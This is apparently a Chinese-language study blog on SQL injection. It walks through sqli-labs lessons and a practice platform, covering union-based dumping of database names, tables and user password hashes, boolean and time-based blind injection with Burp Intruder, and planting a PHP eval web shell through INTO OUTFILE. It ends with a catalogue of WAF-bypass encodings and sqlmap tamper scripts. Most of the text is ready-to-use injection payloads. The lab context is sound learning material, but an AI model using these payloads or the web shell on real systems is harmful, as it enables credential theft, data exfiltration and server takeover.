这是SQL注入自己学习并且理解的一些例子,使用例子详细展示了常用sql注入的语法与思路
重要注意项
- burpsuit注入(repeater)需要url编码
手工注入 例子 回显 判断数字注入&字符注入 分析
本例以sqli-labs less1和less2为例
less1 字符注入
less1 http://192.168.96.128/sqli-labs/Less-1/
首先输入id=1
回显正常
然后输入id=1'
回显报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
报错显示语法错误,分析这一段'1'' LIMIT 0,1
(最外面的一堆单引号是回显时添加的,这里去除了)这一段是实际输入数据库的语句的一部分,其中1'
是我们通过id
传入的参数.我们输入的1'
然后和原来的id='参数' limit 0,1
组合,变成了id='1'' LIMIT 0,1
.
如果是字符型注入我们推测原来的sql语句应该是这样的:select 1,2 from ttable where no='1'' limit 0,1;
然后输入id=-1
这时回显的内容少了,但是没有报错,因为id为’-1’时查不到内容
再输入id=1-2
,得到的回显和id=1
相同
如果是字符型注入
所以我们判断这是字符型注入1-2
就不会运算,组合后的sql\片段id='1-2'
只有id='1'
生效,后面的-2
会被过滤掉.等同于url输入id=1
如果是数字注入1-2
会运算,得到的回显结果就和url输入id=-1
一样.
所以less1是字符注入
less2 数字注入
同上面一样的判断方法,id=1
回显正常,id=1'
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 |
分析' LIMIT 0,1
我们发现只有单引号被报错了.
我们输入的1'
和原来的id=参数 limit 0,1
组合变成了id=1' limit 0,1
然后输入id=-1
这时回显内容少了,但是没有报错,因为id为-1时查不到内容
再输入id=1-2
的好的回显和id=-1
相同,1-2被运算了,所以是数字型注入
手工注入 例子一数字注入 回显 单引号
本例子无法给出测试站点,但是可以直接通过我的描述理解.
确定注入点
首页未找到注入点,进入网站公告,url中id=1
判断为数字型注入
直接添加 单引号 发现页面返回不一样
测试 id=1 and 1=1 --+
和id=1 and 1=2
返回页面不同,注入点存在,判断可以sql注入
判断原本sql语句查询的字段数目
1 | id=1 order by 1 --+ //意思是按照第三列(字段)排序,返回正常 |
由此判断原本sql语句查询的字段数目为4位
判断页面中显示的数据的位置
1 | id=-1 union select 1,2,3,4//id=-1让原本语句查不到数据,然后使用联合查询查询1,2,3,4 |
查看页面返回,返回的只有我们自己构造的联合查询数据,返回的数据是2,3.
那么我们得出结论,查询出的四个位置就是2,3两个位置被显示在了网页上.
爆出数据库
方法一
利用mysql数据库中的information_schema
数据库.这个数据库中包含了我们创建的所有数据名,表名,字段名等等很多信息详见:https://e1sewhere.github.io/2018/11/30/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
使用1
2
3id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
//查询字段schema_name的全部数据,这个字段包含全部数据名.剩余的三位用数字填充,以满足union使用条件
//函数group_concat()将字段schema_name用逗号连接,变成一条数据.
group_concat()
用法详见:https://e1sewhere.github.io/2018/11/30/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/ 搜索group_concat()
爆出数据库:mozhe_Discuz_StormGroup
方法二
我们可以直接查询当前数据库
查询当前用户名和当前数据库1
id=-1 union select 1,user(),database(),4
查询出当前用户root@localhost
,当前数据库mozhe_Discuz_StormGroup
爆出数据表
同样使用information_schema
,由于已经查询出数据库就可以将数据库名作为限定条件,查询出这个数据库所包含的所有表名.
1 | id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' |
爆出数据表:StormGroup_member
,notice
根据表名称的英文意思,我们可以得知StormGroup_member
是我所需要的表
爆出字段
同样使用information_schema
,由于已经查询出数据库可以用库作为限定条件查询这个库包中含的所有字段.
1 | id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' |
查看字段可以得出我们需要的两个字段:name,password
爆出数据
直接从数据表中使用group_concat()
函数查询出这两个字段的所有数据行
1 | id=1 union select 1,group_concat(name),group_concat(password),4 from mozhe_Discuz_StormGroup.StormGroup |
查询出两行对应的name
和password
.由于password
是md5密文直接搜索引擎找个md5解密网站解密
使用查询处的账号登录
尝试第二个账户可以登录,得到key,目的达成.
手工注入 字符型注入 回显 单引号
注入点:http://219.153.49.228:44930/new_list.php?id=tingjigonggao(肯定已经无法访问)
本例子无法给出测试站点,但是可以直接通过我的描述理解.且本例子和上一个例子(数字注入)十分相似,会适当简略讲解
确定注入点
首页无,在公告页面判断有注入点
初步使用单引号判断页面产生变化,有注入点
然后使用' and '1'='1
和' and '1'='2
两个返回页面不同第一个正常第二个异常,判断注入点确实存在字符注入
判断字段数目
1 | ' order by 5 --+ |
1-4都返回正常页面,在5的时候返回错误页面,判断字段数目为4
判断页面显示字段位置
1 | haha' union select 1,2,3,4 --+ |
显示2,3 判断字段位置为2,3位
爆数据库
两种方法(见上个sql注入例子)使用其中一个
1 | haha' union select 1,user(),database(),4 --+ |
得到数据库mozhe_discuz_stormgroup
爆表
1 | haha' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' |
得到表:stormgroup_member
爆字段
1 | haha' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member |
得到字段:name,password
爆数据
1 | haha' union select 1,group_concat(name),group_concat(password),4 from mozhe_discuz_stormgroup.stormgroup_member --+ |
得到两组数据其中password
为md5密文
登录
解密md5密文,得到两组账户.其中一个可以登录得到flag
手工注入 字符 回显 括号闭合
使用sqli-labs靶场 less3
判断注入类型
直接输入id=1
,返回页面变化,判断存在注入
输入id=1'
,返回错误页
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
语法错误,分析'1'') LIMIT 0,1
,可以看出这是一个字符注入类型,只用单引号去闭合前面的1还不行,我们可以推测出,元语句应该是这样的('参数')
所以需要传入id=1')
来闭合前面的括号,后面的括号用注释符号注释id=1') --+
也可以直接传入id=1-2') --+
比对和id=-1') --+
的返回页面是否相同来判断是数字注入还是字符注入.
手工注入 字符 回显 双引号闭合
使用使用sql-labs靶场 less-4
判断注入类型
输入id=1
页面发生变化,存在注入点
输入id=1'
回显正常和id=1
一样
输入id=1"
回显错误信息,存在双引号注入
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 |
分析错误片段"1"") LIMIT 0,1
,这里需要同时使用双引号和括号闭合,推测出注入语句id=1") --+
输入后返回正常
判断出注入类型为双引号字符注入,同时使用括号闭合.
手工注入 盲注 布尔型
使用sql-labs靶场 less-8,使用burpsuit 进行爆破
确定注入类型
直接输入id=1
,再输入id=1'
页面变化,判断存在单引号sql注入.但是没有回显信息.判断盲注.
如何判断是布尔型或时间形暂不知道
爆破数据库名称
使用burpsuit抓包,发送到intruder
选项卡.在position
子选项卡里编辑注入的sql代码.
判断数据库名称长度
1 | id=1' and (select length(database()))=§1§ --+ |
paylod选项卡中使用数字类型,设置1-10的字典,部长为1
点击 start attack 开始爆破,判断返回内容大小,确定数据库名称长度为6.
注意在burpsuit的编辑页面需要编码为url
爆出数据库名称
判断了数据库长度,以此一个字符一个字符爆出数据库名称
例如从第一个字符开始
1 | id=1' and 1=(select ascii(substr(database(),1,1))) --+ |
这次的字典为1-255.
之后判断返回内容,查询ascii十进制表,得到对应的字符.
之后的sql语句改变substr()
函数的第二个参数(第一个是字符串,第二个是取字符的起点,第三个字符是步长)
直到爆出第六个字符,完成爆破
爆破数据表
由于数据表有很多只能通过limit
函数逐个取表判断,爆出一个表的名字的原理和爆出数据库相同这里以limit 1,1
为例子,也就是select *
查询出的所有的表的第一个表.
爆出数据表的长度
1 | id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=0 --+ |
同理得出表长度
爆出数据表的名称
只事例第一个字符
1 | id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1 --+ |
爆出字段
1 | id=1' and (select length(column_name) from information_schema.columns where table_schema='爆出的表名' limit 0,1)=1 --+ //未验证 |
注释符被过滤的时间盲注
使用sql-labs靶场 less7
判断注入类型
首先输入id=1
页面变化
输入id=1'
返回错误
1 | You have an error in your SQL syntax |
不再提示详细错误,只是说明是语法错误,但是依然可以判断,这里存在单引号注入
输入id=1' --+
返回错误页面,可以得知注释符号起作用了,而且只用单引号无法闭合,判断有括号,开始测试括号数目.(如果不起作用,返回页面应该和hid=1
一样)id=1') --+
错误id=1')) --+
正确 判断用一个单引号加两个括号闭合
注意一般在sql语句中引号不会括在号的外层,已知注入类型后,增加括号可以判断出括号的数量.
再输入测试语句id=1')) and 1=1 --+
返回正常页面id=1')) and 1=2
返回错误页面(这个less把所有非正常返回都作为语法错误返回)
由此判断可以使用盲注,这里我是用时间型盲注(也可以使用布尔型)
爆出数据库长度
利用burpsuit
1 | id=1')) and sleep(if(length(database())=1,5,0)) --+ |
或者使用benchmark()
函数
1 | id=1')) and benchmark(if(length(database())=1,5000,0),MD5 |
爆出数据库名称
只演示第一个字段
1 | id=1' )) and sleep(if(ascii(substr(database(),1,1))=100,5,0)) --+ |
其后步骤省略
数据库导出文件 into outfile
into outfile
和into dumpfile
区别
若我们想把一个可执行2进制文件用into outfile函数导出,导出后就会被破坏.
因为into outfile函数会在行末端写入新行,并且会会转义换行符这样的话这个2进制可执行文件就会被破坏。
这时候我们用into dumpfile 就能导出一个完整能执行的2进制文件,into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理。
在udf提权的时候用到的就是dumpfile。
数据库文件导出
直接使用into outfile
导出文)
1 | ?id=1')) union select 1,2,3 from myql.user into outfile "E:\\11.txt" --+ |
回显页面报错
原因一:权限不够
需要root权限(通常其他用户没有创建存储过程的权限)才能对数据库读写操作.
测试是否有root权限
1 | ?id=1')) and (select count(*) from mysql.user)>0 --+; //通常有查询mysql.user表的权限,就是root用户 |
回显页面,正常,判断有root权限
原因二:必须在指路径输出
secure_file_priv
这个变量用来限制数据导入和导出,例如load data
,into outfile
,load_file()函数
,这些操作都需要用户有file权限
如果参数为空,这个变量没有效果
如果参数是目录名,mysql服务器只允许在这个目录下导入导出,这个目录必须存在,mysql不会创建它
如果参数为null,服务器禁止导入导出操作
这个参数在MySql 5.7.6
以后的版本引入
可以通过报错回显得到路径,但是本题目没有详细回显,只能猜正确目录是什么
这里不猜了,我们直接切换到服务器端口查看
mysql命令行输入1
show variables like '%secure%'
查询的回显secure_file_priv
值为空(这里和网上的朋友过程讲解不一样)
于是为了完成less,我们在服务端手动添加secure_file_priv
打开mysql路径下的my.ini
添加一个变量secure_file_priv="C:/sqlfile/"
并且确保这个路径存在.
重启数据库然后再次执行命令查看变量
1 | mysql> show variables like '%secure%'; |
变量存在了
我们先直接在服务器端执行导出命令
1 | mysql> select * from mysql.user into outfile "C:\\sqlfile\\1.txt"; |
可以看到,返回的是成功信息不是一张表,所以sql注入的回显很可能是报错.
我们先试一下sql注入查询当前数据库
1 | ?id=1')) union select 1,2,database() into outfile "C:\\sqlfile\\22.txt" --+ |
返回了报错页面
1 | You have an error in your SQL syntax //这个提示和之前的所有错误页面相同 |
我们切换到服务端查看路径,已经有22.txt这个文件了
并且文件内查出了数据库,之后的其他字段,内容查询就和普通的有回显的sql注入相同,不需要盲注.
我们分析一下into outfile
在my.ini
文件内添加secure_file_priv
变量的时候,我们的路径值是形如"C:\test\tal"
这样的路径.
在sql注入使用into outfile
时指定的是"C:\\test\\tal\\test1.txt"
这样的值,这里使用单引号也可以,即使是单引号注入的情况,但是最好和my.ini
的单双引号符号统一,非常重要的是,这里的路径一定要用双斜杠,不然语法是错的.
文件取回本地
这里把文件输出路径写死了,所以导出的文件无法访问.如果没有写死,就可以将文件输出到站点下.这样我们就可以这样写入并访问一句话木马
1 | ?id=1')) union select 1,'<?php eval($_POST["997"]);?>',3 into outfile "C:\\soft\\phpStudy\\WWW\\sqli-labs\\Less-7\\muma.php" --+ |
然后使用中国菜刀连接,就可以查看下载到服务器的所有文件.
数据库特性绕过
一些函数绕过
括号之间添加空格绕过
一些函数可以在括号之间添加空格,比如ascii()
再ascii后面加一个空格ascii ()
ascii/**/()
也许可以绕过
单引号绕过
gbk款字节绕过
gbk编码在单引号前面加一个%df即可
二次urldecode注入
web程序进行参数过滤时,很多采用反斜杠来转义单引号等危险参数的方法。如果某处使用了urldecode或者rawurldecode函数,会导致二次解码生成单引号。
如我们提交的是/test.php?id=1%2527,因为没有提交单引号没有触发过滤,%25的解码结果是%。则第一次解码之后是/test.php?id=1%27,如果程序里面再次使用urldecode解码id参数的话,就会生成/test.php?id=1’
%2527 ->urldecode-> %27 ->urldecode-> ‘
使用了两次urldecode,我们构造一个两解码后生成引号的绕过
空格绕过
在SQL注入时,空格的使用是非常普遍的,如果目标对空格进行了限制,这个时候有这几种绕过方法:
如我们原来要查询用户
1 | select username from user |
用注释替换空格:
1 | select/**/username/**/from/**/user |
用回车(%0a)来替换空格
1 | select%0ausername%0afrom%0auser |
也可以使用其他空白字符:%01,%0a,%1a…..
如果括号没有被过滤,那么能计算的一些式子也可以用括号来绕过
如
1 | select username() from user where 1=1 and 2=2 |
可以写成
1 | select(username())from(user)where(1=1)and(2=2) |
式子使用空格包裹后就不需要空格隔开了,虽然还有空格无法实现替换,但是在某些情况是一个非常实用的技巧。
逗号绕过
在某些WAF中对逗号进行了限制,或者一些通过逗号分隔post请求的环境,我们需要绕过逗号.
如我们要判断user第一个字符的ascii是否小于150,小于则返回1,否则返回0
以知
1 | select 5<9; //返回1,也就是布尔值为真返回1 |
那么为了实现上面的功能应该这么构造
1 | select ascii(mid(user(),1,1))<150 |
但是如果没了逗号,我们就得用from x for y的形式:
1 | select mid(user() from 1 for 1)<150 |
或者使用limit也会用到逗号.
如果逗号无法使用,在limit中可以使用offset
1 | select * from user limit 2,1; |
比较符号绕过
在盲注的时候,很多时候要用到比较符号大于(<)和小于(>)来进行二分查找,如果目标对比较符号进行了过滤,我们就需要通过greatest和least等函数进行绕过,这两个函数用法如下:
1 | GREATEST(value1, value2, ...); |
greatest函数会返回这些值里的最大值,least函数会返回最小值。如果我们要用刚才的mid方法比较,就需要这样构造:
1 | greatest(ascii(mid(user(),0,1)),150) |
or and 绕过
and=&& or=||
绕过注释符号(#,–)
等号绕过
使用like 或者 使用< 或者 >
绕过union,select,where等
黑名单过滤
双写
使用内联注释
/*!content*/
只有MySQL会正常识别content的内容
1 | http://localhost/sqli-labs/Less-1/?id=-1' /*!union*/ select 1,2,3 --+ |
黑名单关键词绕过
十六进制绕过
对于某些进行敏感词汇检查的机制(黑名单,替换等),可以通过填ascii编码的十六进制来绕过:
假设这个输入过滤了108
这个字符串,我们把108转化为16进制的ascii码,就可以绕过
1 | mysql> select * from student where sno=0x313038; |
表名等关键字被过滤
以information_schema.tables为例
空格information_schema . tables
着重号information</em>schema.tables
注释符 /*!informationschema.tables*/
别名information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
容器特性绕过
%特性
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽掉
1 | id=1' union se%lect user f%rom ddd; |
修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。
%u特性
iis支持unicode的解析,当我们请求的url存在unicode字符的话iis会自动将其转换
1 | name=%u54c8%u54c8 |
这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。
1 | s%u0065lect->select //使用转换工具查看是e |
WAF对%u0065
会识别出这是e,组合成select关键字,但有可能识别不出%u00f0
,而这个会被iss当作e
还有很多类似的
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
HPP(参数污染)
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key
时,根据容器不同会得到不同的结果
假设提交的参数为: id=1&id=2&id=3
1 | Asp.net + iis:id=1,2,3 |
自动化Bypass
首先总结下sqlmap的各种bypass waf tamper:
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND
#”替换等于号“=”
bluecoat.py 在SQL语之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于
号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码
的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换
像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于
过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic
obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换字符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换字符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换字符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换字符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换字符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF